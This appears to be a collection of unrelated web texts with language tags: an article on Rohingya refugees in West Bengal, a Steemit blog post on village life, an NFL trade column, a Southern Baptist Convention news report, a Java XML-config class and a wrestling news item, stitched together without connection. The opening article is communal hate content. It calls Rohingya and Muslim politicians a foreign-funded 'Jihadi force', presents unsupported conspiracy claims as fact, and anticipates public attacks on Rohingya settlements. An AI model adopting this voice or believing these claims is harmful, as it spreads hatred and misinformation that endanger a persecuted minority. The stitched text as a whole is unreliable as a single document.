Upananda Brahmachari | HENB | Kolkata : In a very nefarious design, the ruling TMC in Bengal is promoting illegal Rohingya intruders in the soil of West Bengal with a Jihadi aspiration to harm the Hindu activists within the state. When Hindu activists are advancing in WB, some leaders of TMC’s minority cell are engaging themselves to give shelters these Rohingya intruders in Barauipur, Canning, Falta, Budge Budge, Burdwan, Coochbehar, Uttar Dinajpur, Birbhum and other locations; only to restore a Jihadi force to eliminate growing Hinduitva power in Bengal. Making many NGO and collaborating with AIMIM (All India Majlish e Ittehadul Muslemin) of Hyderabad, these Muslim leaders in TMC are collecting huge money from Middle East and Bangladesh in the name of rehabilitation of Rohingya refugees, actually the new Islamic force engaged in capturing the land of Bharat under Islamic flag. On a high level meeting of SMAC (State Multi Agency Center) held on March 12, it shared intelligence inputs between constituent agencies over the ‘threat of Rogingya intruders in WB’ and ‘border situations where more than 60,000 Rohingyas are waiting to cross the border to enter WB’. Though WB representatives in the meeting admitted the growing number of Rohingyas in the state and their colony in some parts in the state, they pointed out the slackness of BSF in border protection and accused a part of BSF involved in the cross border Rohingya rackets. “With a tight vigilance of BSF and proper patrolling in the border, these huge numbers Rohingyas could not enter into India. Rohigyas are not entering India through para-trooping”, a SMAC official raised the point in the forum. But, the WB representatives were failed to explain how some agencies (NGOs and AIMIM affiliates) are given free-hand to make colony for Rohingyas in Baruipur (Kuruli and Hardaha), Coochbehar (Masaldanga), Budge Budge (Fakir Bari) etc. A source in South 24 Parganas hints that many local Muslim clerics connected with TMC are trying hard to change some PMAY and Gitanjali Housing locations by the original beneficiaries to facilitate the Rohingya Mehmans (guests) in their localities. Rohingya children are being sheltered in the Madrasas in Burdwan, Uluberia, Malda, Murshibadad, Birbhum, South and North 24 Parganas very planfully. WB CM Mamata Banerjee is very sympathetic for her Rohingya brothers and sisters coming to Bengal and she has expressed her stand point earlier as, ‘all commoners not terrorists’. Under the patronage of TMC, Muslim organisations organised a huge rally in Kolkata in Sept, 2017 with a demand to stop genocide of Rohingya Muslims in Mayanmar and to make proper rehabilitation of Rohingyas in India. Interestingly, TMC sympathizer Mohammed Nuruddin of All Bengal Minority Students Federation, WB State Congress President Adhir Choudhury, CPIM leader Sujan Chakroborty and Furfura Sharif Peerzada Toha Siddiqui, all shared the rally to support Rohingya cause in India. India shares a 4,096 km border with Bangladesh, only half of which is fenced. West Bengal, which shares a border of nearly 2,217 km, has been the most preferred route for illegal migration from Bangladesh, often through a network of touts and complicity of Border Security Forces. The Ichamati river and its tributaries act as border between India and Bangladesh. Most Rohingyas crossed into India from North 24 Parganas, South Dinajpur and Cooch Behar districts. They also enter from international border crossings at Petrapole, Ghojadanga, Hakimpur, Tarali, Angrail and Haridaspur. Now, Sarberia and Sandeshkhali in Sundarban delta (South and North 24 Pgs) has chosen by the Rohingyas as their preferable entry points for West Bengal crossing rivers and forests. The Union government told Parliament on 9 August, 2017 that according to available data, more than 14,000 Rohingyas, registered with the UNHCR, were staying in India. However, some inputs indicate that around 40,000 Rohingyas are staying in India illegally and the Rohingyas are largely located in Jammu, Hyderabad, Haryana, Uttar Pradesh, Delhi-NCR, West Bengal and Rajasthan. Then the Union Govt also admitted a 2 crores of illegal infiltrators in India from Bangladesh ! Now, if these 60,000 Rohingyas get a chance to enter India in anyway, It will be a great security and deplorable law and order issue in India. The Arakan Rohingya Salvation Army (ARAS) will certainly take a chance to spread its network in all the Rohingya colonies/rehabilitation centers with the help of JMB (Jamaet-ul-Mujaheddin-Bangladesh) and Ansarulla Bangla Team (ABT). Knowing all these fully well, TMC and its queen Mamata Banerjee are promoting Rohingya Muslim hubs in the state under the cover of ‘minority welfare’ (Muslim appeasement), only to generate Jihadi dominance over Hindu activism in Bengal. And most surprisingly, BSF under Union Home Ministry is not doing well. How these numbers of Rohingyas are hopping high through borders everyday ? The desperate Rohingya rehabilitation policy of TMC and disgusting lip-service of BJP to deport Rohingyas from India are revealing as two sides of a coin. In such a situation, the aggrieved public in India may attack Rohingya settlements in different parts in India to register their resentment on dangerous Rohingya realities. West Bengal is now considered as the most prospective Jihadi Hub for Rohingyas in India. Rogingya aggression in India or West Bengal is not part of a Jihad in reality. Patriotic Hindus in all regions will burst against Rohingyas, today or tomorrow. The situation in waiting is most vulnerable. Both the State Govts and the Union Govt must take this note seriously.
english
Steem engagement challenge-S12/W2|I would love to prefer a village lifestyle. Created on canva. Greetings friends. This is Shaikh Enamul Islam. From #Bangladesh. Greetings dear steemain friends. Welcome to my another SEC blog. Hope all of you are very well & heathy by God's grace. Alhamdulillah, by the grace of Almighty Allah I am also very well.Incredible India Community has given us a beautiful topic for the second week's Engagement Challenge and that is SEC - S12/W2 | Which lifestyle do you prefer, a Metropolis or a Village? And Why?. Very interesting contest for me & honestly I really like it so much. So today I am here with my article where I will share my opinion through my personal experience that village lifestyle is better or metropolis lifestyle is better. So friends without delay let's start. It is different from person to person and everyone will prefer the place where he was born and the environment where he grew up. So I think village is best for me for my lifestyle. I was born in the village and grew up in the pure open air and environment of the village. Growing up in the peaceful environment of the village from my childhood, I developed a love for my village. For me, the village is a place where I can enjoy every moment of my life. A place free from noise that keeps my mind calm, where the environment makes my mind feel good, where I can choose many places for entertainment, pure and unadulterated food that keeps my body healthy. The natural beauty that the village has will fascinate people to stay in the village as it can never be found in the metropolis. But currently I am living in the city life and from my personal opinion the life style and climate here is completely different from the village. Here we meet new faces every day where no one knows anyone & no one have a little bit time to other persons. Besides, the environment here is so different that it is very difficult to adapt to the environment. And the lifestyle and environment here make people sick and can create bad times anytime. That's why I always prefer to village lifestyle. Some of the good points of living in a village are: One of the good aspects of living in a village is that people from any place can easily adapt themselves to the village environment because the village is an ideal place where the environment, weather, temperature are all suitable for people to live. Another advantage of living in a village is the easy availability of healthy and unadulterated food. And the best part is that the things here are original and can be bought at cheap prices. Some of the other positive aspects of the village include its traffic jam-free roads, clean air, good water supply, many places for recreation and good places for sightseeing. Some of the challenging points of living in a village are: One of the biggest challenges in living in a village is the lack of quality healthcare. Every year many people in the village are dying due to lack of proper treatment or living inhumane life. People do not get proper treatment in villages as medical centers are far away and technologically underdeveloped. Similarly, the education system for village people is also very weak because there are no high quality education centers there and therefore people are forced to move to cities for good quality education. In addition, there are very few job opportunities in the villages, so people sit most of the days due to unemployment and because of which the development of the village people is very low and they cannot get out of poverty easily. Yes of course I think lifestyle and environment often influence the thought process. As the environment changes every moment, the lifestyle of people also changes at any time and the environment helps to change this lifestyle of people. All our love, emotions depend on the environment and influence our lifestyle. The environment in the city makes people anxious and depressed instead of peaceful, where people live a kind of caged life. Although the modern & facilities here are many but fail to provide peace of mind and beautiful moments. But there is a softness in the rural environment where people can breathe a big sigh of relief and change themselves in an instant. People are happy in their lifestyle only when they themselves can live in a beautiful environment and for this beautiful rural environment plays a role in changing the lifestyle of people. Thanks everyone.I really like this contest and am very pleased to participate in this week contest. I hope everyone has read and enjoyed my article. For this contest I would like to invite my friends @solaymann @waterjoe , @willmer1988, @msharif & @goodybest for this nice contest .
english
The Seattle Seahawks decided to hit the reset button by trading Russell Wilson to the Denver Broncos. They also released Bobby Wagner, ending an era in Seattle. But this does not mean the team has to go through a massive rebuild. In fact, it's possible they wanted a younger signal-caller in place. Could that player be Deshaun Watson? Former Seattle star Richard Sherman seems to think the team is gearing up to make the Houston Texans an offer for their quarterback. "The trade pieces they received make me more curious than anything because I don't think...everybody's like, 'Oh, are they gonna, are they gonna put Geno out there, or are they gonna put Drew Lock out there?' No, they're not. They're not. They're not nervous. They're setting themselves up to be in the sweepstakes for Deshaun Watson. I think that these pieces that they're putting together are the pieces that they're going to need to work with the Houston Texans to get Deshaun Watson. I think that Pete will assume the best and think that Deshaun's legal issues will get resolved in the near future before the draft." Of course, there is no guarantee the team can land Watson. They will be one of several organizations in the sweepstakes. However, the draft capital they got from the Broncos will go a long way in helping them stand out. But should they even consider Watson in the first place? The answer is yes. They should pursue this option. However, it comes with an obvious caveat. The Seahawks and the rest of the NFL have to make sure Watson is cleared legally before discussing a deal. Friday is when teams will know more about his situation. So let's say he is cleared and ready to make a return. The Seahawks have an obvious need at quarterback and still have some weapons on offense around the quarterback position. That is important, given the no-trade clause Watson has to waive before a deal can be made. Seattle would likely have to give up three first-round picks for Watson. Yet they just added two from Denver and would be getting a quarterback under contract through the 2025 season. So this is not a short-term commitment. Let's consider the alternatives at the moment. Seattle has Drew Lock and Jacob Eason on the roster, while Geno Smith hits free agency. None of those three inspire much confidence in fans. The Seahawks could try to get a player like Jimmy Garoppolo, but they will also have competition there. So trying to get Watson, who is younger and better, makes sense as well. The only question is how the organization feels about his legal situation and the sexual harassment claims against him. That is true for any team pursuing Watson, as a public relations disaster could be in store. However, if he is cleared, that does change the situation. Watson is left as the top quarterback available in the trade market now that Wilson and Aaron Rodgers have made their decisions known. All teams have to wait on Watson's legal situation, yet Seattle must ensure they don't wait too long once more clarity is given. That could lead to a problem where they face a drastic drop-off in talent at quarterback in 2022.
english
The Southern Baptist Convention, the annual meeting for the largest protestant denomination in the United States, kicks off this week in Birmingham, Ala. , 40 years after the "Conservative Resurgence," when the SBC flipped from liberal leadership to conservatives leading the way. With membership dipping below 15 million -- in 2005 membership was at about 16. 6 million -- the decline is on the minds of SBC leaders. This year's meeting, held in the state that passed the strongest anti-abortion bill on the books, doesn't feature any high-profile political leaders like it did last year when Vice President Pence spoke at the Convention. That is not to say politics won't be discussed at the meeting. But SBC president J. D. Greear told Fox News other topics will be at the forefront of the convention like the denomination's continued push for ethnic and gender diversity in leadership. But more than anything, he adds, the "pressing need of the hour is for our Convention to address the issue of sexual abuse. " Unlike the Roman Catholic Church, which has been dealing with an ever-widening clergy sexual abuse scandal, the SBC is not a centralized church but rather a fellowship of more than 47,000 Southern Baptist churches. It teaches that the Bible has no errors and that personal acceptance of Jesus Christ is the only way to salvation. Southern Baptists also practice baptism by water immersion. "I join with those who lament the failures of our Convention," Greear added. "We have not cared well for survivors of abuse, nor have we taken their disclosures seriously enough. But I also believe we are on the cusp of a long-overdue change. With God's help, we are confronting our Convention's failures head-on and providing new training, new resources, and new screening processes. " Greear, 46, who was elected last year as the denomination's youngest leader, commissioned an advisory group in collaboration with the Ethics & Religious Liberty Commission (ERLC), which released a 52-page report Saturday on sexual abuse over the past 20 years. The group has worked to get every SBC church up to speed in its awareness, prevention, and care practices for abuse. For example, the nine-member team has been developing a training curriculum to be used by churches and seminaries to improve responses to abuse. The team includes a psychologist, former prosecutor, detective and Rachael Denhollander, the first women to go public with charges against sports doctor Larry Nassar ahead of the prosecution that led to a lengthy prison sentence. It is also considering new requirements for background checks of church leaders after pressure to address abuse increased following investigative reports by the Houston Chronicle and the San Antonio Express-News earlier this year. Greear concluded: "We can—indeed, we must—become churches that are safe for survivors and safe from abuse. " Protesters, who are frustrated with the slow pace and have been advocating for a database listing abusers, will be demonstrating Tuesday night. On Wednesday night, there will be a panel with Greear, Denhollander, Bible teacher Beth Moore and Susan Condone, senior associate dean of academic affairs of Mercer University School of Medicine. Moore, a best-selling author, ignited a recent debate on Twitter when she hinted that she would be speaking during a Mother's Day church service. SBC's doctrine of "complementarianism" calls for male leadership in the home and in the church. But last Wednesday, Moore addressed her thoughts about the convention. "I have 1 priority thing on my mind right now: seeing bold, forthright, effective, immediate action against sexual abuse in churches," Moore tweeted. "It'll be my privilege to serve on the panel discussing it. " As of 2018, there were 47,456 Southern Baptist churches spread across 41 state conventions, according to the denomination. But Southern Baptists remain heavily concentrated in the South: SBC figures show that 81 percent of its members live in the southern region, including about 2. 7 million in Texas and more than a million each in Georgia and North Carolina. The Associated Press contributed to this report.
english
<filename>src/main/java/com/linkkou/gson/processor/GsonXmlConfig.java<gh_stars>1-10 package com.linkkou.gson.processor; import com.sun.org.apache.xerces.internal.dom.DeferredElementImpl; import org.w3c.dom.Document; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import java.net.URL; import java.util.HashMap; /** * 自定义Gson配置 * @author lk * @version 1.0 * @date 2019/9/2 19:09 */ public class GsonXmlConfig { private String DefaultCom = null; private boolean DefaultGroup = true; private HashMap<String, String> Groups = new HashMap<>(); public GsonXmlConfig() { final URL resource = GsonProcessor.class.getClassLoader().getResource("gson.xml"); if (null != resource) { //1.创建DocumentBuilderFactory对象 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); try { DocumentBuilder builder = factory.newDocumentBuilder(); Document d = builder.parse(resource.openStream()); getNodeGroups(d); } catch (Exception e) { e.printStackTrace(); } } } private void getNodeGroups(Document d) { NodeList sList = d.getElementsByTagName("groups"); final int length = sList.getLength(); if (length > 0) { final Node item = sList.item(0); final String Default = ((DeferredElementImpl) item).getAttribute("default"); if (!Default.isEmpty()) { DefaultGroup = Boolean.valueOf(Default); } getNodeGroupsChildNodes(item); } } private void getNodeGroupsChildNodes(Node item) { final NodeList childNodes = item.getChildNodes(); final int length = childNodes.getLength(); for (int i = 0; i < length; i++) { final Node item1 = childNodes.item(i); if ("default".equals(item1.getNodeName())) { getNodeGroupsDefault(item1); } if ("group".equals(item1.getNodeName())) { getNodeGroupsGroup(item1); } } } private void getNodeGroupsDefault(Node node) { final String bean = ((DeferredElementImpl) node).getAttribute("bean"); if (!bean.isEmpty()) { DefaultCom = bean; } } private void getNodeGroupsGroup(Node node) { final String title = ((DeferredElementImpl) node).getAttribute("title"); final String bean = ((DeferredElementImpl) node).getAttribute("bean"); Groups.put(title, bean); } public String getDefaultCom() { return DefaultCom; } public HashMap<String, String> getGroups() { return Groups; } public Boolean getDefaultGroup() { return DefaultGroup; } }
java
Jim Ross has recalled what happened when WWE Chairman Vince McMahon met Sable for the first time. In 1996, Vince McMahon decided to hire Marc Mero after becoming a fan of his work as the Johnny B. Badd character in WCW. He was introduced to Mero’s then-wife, Rena (aka Sable), during discussions to sign the former WCW star. Speaking on his Grilling JR podcast, Ross revealed the exact conversation that he had with Vince McMahon following a meeting with Marc Mero and Sable. He added that everyone in WWE’s headquarters could not help but notice Sable. Ross said Sable’s professionalism and “turn-your-head look” impressed Vince McMahon. He also joked that the former WWE Women’s Champion was “a far cry” from the days of The Fabulous Moolah. Although Vince McMahon only planned to hire Marc Mero initially, he also chose to sign Sable to a WWE contract. Sable, who is now married to Brock Lesnar in real life, worked for WWE from 1996 to 1999. She also had a second run with WWE in 2003-2004. Please credit Grilling JR and give a H/T to SK Wrestling for the transcription if you use quotes from this article.
english